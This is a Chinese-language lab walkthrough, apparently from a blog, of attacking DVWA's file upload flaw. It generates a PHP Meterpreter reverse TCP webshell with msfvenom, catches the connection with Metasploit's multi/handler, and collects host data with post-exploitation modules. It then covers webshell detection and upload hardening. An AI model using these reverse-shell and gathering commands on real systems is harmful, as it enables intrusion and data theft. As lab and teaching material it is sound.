实验环境Kali GNU/Linux 2024.4Metasploit FrameworkDVWADamn Vulnerable Web ApplicationDocker / Apache / PHP一、生成 PHP Meterpreter 反向 Shell使用msfvenom生成一个 PHP 的 Meterpreter 反向 TCP shellmsfvenom-pphp/meterpreter/reverse_tcp\LHOST你的监听IP\LPORT4444\-frawwebshell.php说明-p php/meterpreter/reverse_tcp指定 PHP Meterpreter 反向 TCP 载荷。LHOST监听端 IP实验环境中通常是攻击机 IP。LPORT监听端口。-f raw输出原始格式便于直接上传。生成后的文件保存为webshell.php后续通过文件上传漏洞传入目标。二、配置 Metasploit 监听启动msfconsolemsfconsole在交互终端中执行use exploit/multi/handler set payload php/meterpreter/reverse_tcp set LHOST 你的监听IP set LPORT 4444 exploit这样 Metasploit 会监听指定端口等待目标触发反向连接。三、利用 DVWA 文件上传漏洞登录 DVWA将安全级别设置为Low。进入File Upload页面。上传刚才生成的webshell.php。上传成功后页面会返回文件路径。在浏览器中访问该路径触发 PHP 文件执行。如果目标服务器会解析上传目录中的 PHP 文件webshell.php就会连接回 Metasploit 监听端。四、获取 Meterpreter 会话当目标触发反向连接后Metasploit 会打开一个 Meterpreter 会话。此时可以在终端中执行后渗透命令例如sessions -l sessions -i 1进入会话后可以执行系统命令、查看权限、收集信息等。五、后渗透信息收集1. 使用 enum_network 模块在 Meterpreter 会话中加载网络信息收集模块use post/linux/gather/enum_network show options set SESSION 1 run该模块会收集目标主机的网络配置包括DNS 配置主机文件活动连接网卡信息路由表防火墙规则收集结果通常会保存在~/.msf4/loot/目录下以文本文件形式存储。2. 使用 enum_system 模块继续收集系统信息use post/linux/gather/enum_system show options set SESSION 1 run该模块会收集系统版本用户与组环境变量已安装软件服务与进程计划任务这些信息有助于了解目标环境但也提醒我们一旦攻击者获得会话系统信息会大量暴露。六、Webshell 植入痕迹排查下面从防守视角检查服务器上是否存在 Webshell 植入痕迹。1. 检查 Apache 访问日志如果 DVWA 运行在容器中需要先进入容器dockerexec-itcontainer_id/bin/bash然后过滤访问日志查找与 shell 相关的请求cat/var/log/apache2/access.log|awk-F{print $1,$2}|grepshell如果日志中出现类似GET /hackable/uploads/webshell.php HTTP/1.1说明 Webshell 已被访问过。2. 检查 Web 根目录在 Web 根目录中搜索常见危险函数cd/var/www/htmlgrep-RINEpassthru|exec|eval|shell_exec|assert|system|phpinfo|base64_decode|chmod|mkdir|fopen.如果发现可疑文件例如/var/www/html/hackable/uploads/webshell.php并包含eval、fopen、stream_socket_client等代码就可能是 Webshell。3. 检查最近修改的文件查找最近一天内修改过的 PHP 文件find-name*.php-mtime-1-ls如果某个文件在攻击时间点附近被创建例如./hackable/uploads/webshell.php就需要重点排查。4. 检查异常网络连接查看当前网络连接ss-t-u-a重点关注是否有异常外连是否有监听端口是否有不熟悉的 IP 地址5. 检查敏感配置文件查看.htaccess等配置文件是否被修改cat.htaccess如果发现allow_url_fopen、allow_url_include等危险选项被打开或者出现不明规则需要进一步分析。七、防御建议上传目录禁止执行通过 Web 服务器配置禁止上传目录解析 PHP。白名单校验只允许特定后缀和 MIME 类型同时校验文件头。文件重命名上传后使用随机文件名避免用户控制路径和后缀。最小权限Web 服务运行用户不应有写敏感目录的权限。日志监控对访问日志、错误日志进行实时监控发现异常请求。定期扫描使用工具或脚本定期搜索 Webshell 特征。及时更新保持 DVWA、PHP、Apache 等组件更新避免已知漏洞。隔离环境靶场环境应与生产环境严格隔离。总结本文记录了从 Metasploit 生成 PHP Meterpreter 载荷到利用 DVWA 文件上传漏洞获取会话再到后渗透信息收集和 Webshell 痕迹排查的完整过程。关键点文件上传漏洞一旦允许上传并执行 PHP 文件攻击者就可能获得 Web Shell。Metasploit 的multi/handler可以接收反向连接enum_network、enum_system等模块能快速收集目标信息。防守方可以通过日志、文件搜索、网络连接、配置文件等多个维度排查 Webshell。最有效的防御是上传目录禁止执行、白名单校验、文件重命名、最小权限和持续监控。
阅读完成 · 觉得有帮助?